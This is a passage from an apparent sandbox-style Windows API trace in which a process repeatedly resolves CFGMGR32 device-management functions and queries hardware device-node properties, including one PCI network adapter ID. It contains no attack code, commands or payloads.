GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.600] malloc (_Size=0x18) returned 0x20abc281cc0 [0210.600] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0210.600] malloc (_Size=0x48) returned 0x20abc2a85f0 [0210.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x394ad983, dwHighDateTime=0x1d9eb0c)) [0210.601] SetEvent (hEvent=0x248) returned 1 [0210.606] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.606] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.610] malloc (_Size=0x18) returned 0x20abc281b80 [0210.610] CM_Get_Device_IDA (in: dnDevInst=0x30, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_10D3&SUBSYS_00008086&REV_00\\3&11583659&0&30") returned 0x0 [0210.610] malloc (_Size=0x48) returned 0x20abc27cf80 [0210.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x394d3e39, dwHighDateTime=0x1d9eb0c)) [0210.610] SetEvent (hEvent=0x248) returned 1 [0210.615] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.615] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.619] malloc (_Size=0x18) returned 0x20abc281960 [0210.619] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0210.619] malloc (_Size=0x124) returned 0x20abc286890 [0210.619] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0210.620] free (_Block=0x20abc286890) [0210.620] malloc (_Size=0x48) returned 0x20abc27cb20 [0210.620] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x394d3e39, dwHighDateTime=0x1d9eb0c)) [0210.620] SetEvent (hEvent=0x248) returned 1 [0210.624] malloc (_Size=0x18) returned 0x20abc281fe0 [0210.624] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0210.624] free (_Block=0x20abc281fe0) [0210.624] malloc (_Size=0x18) returned 0x20abc282040 [0210.624] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0210.624] free (_Block=0x20abc282040) [0210.624] malloc (_Size=0x18) returned 0x20abc281e20 [0210.624] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0210.624] free (_Block=0x20abc281e20) [0210.624] malloc (_Size=0x18) returned 0x20abc281ae0 [0210.624] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0210.624] free (_Block=0x20abc281ae0) [0210.624] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c3f0 [0210.624] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0210.624] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0210.625] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0210.625] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79bb0 [0210.625] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0210.625] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0210.625] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0210.625] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0210.625] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79730, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.625] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79738, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.626] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79740, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.626] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79748, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.627] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79bb0) returned 1 [0210.628] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c3f0) returned 1 [0210.628] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.628] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.631] malloc (_Size=0x18) returned 0x20abc281cc0 [0210.632] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0210.632] malloc (_Size=0x10e) returned 0x20abc286890 [0210.632] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0210.633] free (_Block=0x20abc286890) [0210.633] malloc (_Size=0x48) returned 0x20abc2a8870 [0210.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x394f9f11, dwHighDateTime=0x1d9eb0c)) [0210.633] SetEvent (hEvent=0x248) returned 1 [0210.636] malloc (_Size=0x18) returned 0x20abc281ba0 [0210.636] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0210.636] free (_Block=0x20abc281ba0) [0210.636] malloc (_Size=0x18) returned 0x20abc281e80 [0210.636] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0210.636] free (_Block=0x20abc281e80) [0210.636] malloc (_Size=0x18) returned 0x20abc281f60 [0210.636] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0210.636] free (_Block=0x20abc281f60) [0210.636] malloc (_Size=0x18) returned 0x20abc281fa0 [0210.636] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0210.636] free (_Block=0x20abc281fa0) [0210.637] malloc (_Size=0x18) returned 0x20abc281fe0 [0210.637] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0210.637] free (_Block=0x20abc281fe0) [0210.637] malloc (_Size=0x18) returned 0x20abc281be0 [0210.637] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0210.637] free (_Block=0x20abc281be0) [0210.637] malloc (_Size=0x18) returned 0x20abc2820e0 [0210.637] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0210.637] free (_Block=0x20abc2820e0) [0210.637] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d870 [0210.637] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0210.637] SafeArrayGetLBound (in: psa=0x20abba7ff50, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0210.637] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0210.637] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0210.637] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0210.637] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0210.637] SafeArrayGetElemsize (psa=0x20abba7ff50) returned 0x8 [0210.637] SafeArrayGetElement (in: psa=0x20abba7ff50, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0210.638] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.638] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe08, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.638] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe10, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.638] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe18, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.638] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe20, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.639] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe28, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.639] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe30, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.640] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0210.735] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d870) returned 1 [0210.736] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.736] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.739] malloc (_Size=0x18) returned 0x20abc281960 [0210.739] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0210.744] malloc (_Size=0x48) returned 0x20abc27cb20 [0210.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x39604e28, dwHighDateTime=0x1d9eb0c)) [0210.745] SetEvent (hEvent=0x248) returned 1 [0210.748] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.748] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.752] malloc (_Size=0x18) returned 0x20abc281e00 [0210.752] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0210.752] malloc (_Size=0x48) returned 0x20abc27cf80 [0210.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3962b32c, dwHighDateTime=0x1d9eb0c)) [0210.752] SetEvent (hEvent=0x248) returned 1 [0210.756] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.756] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 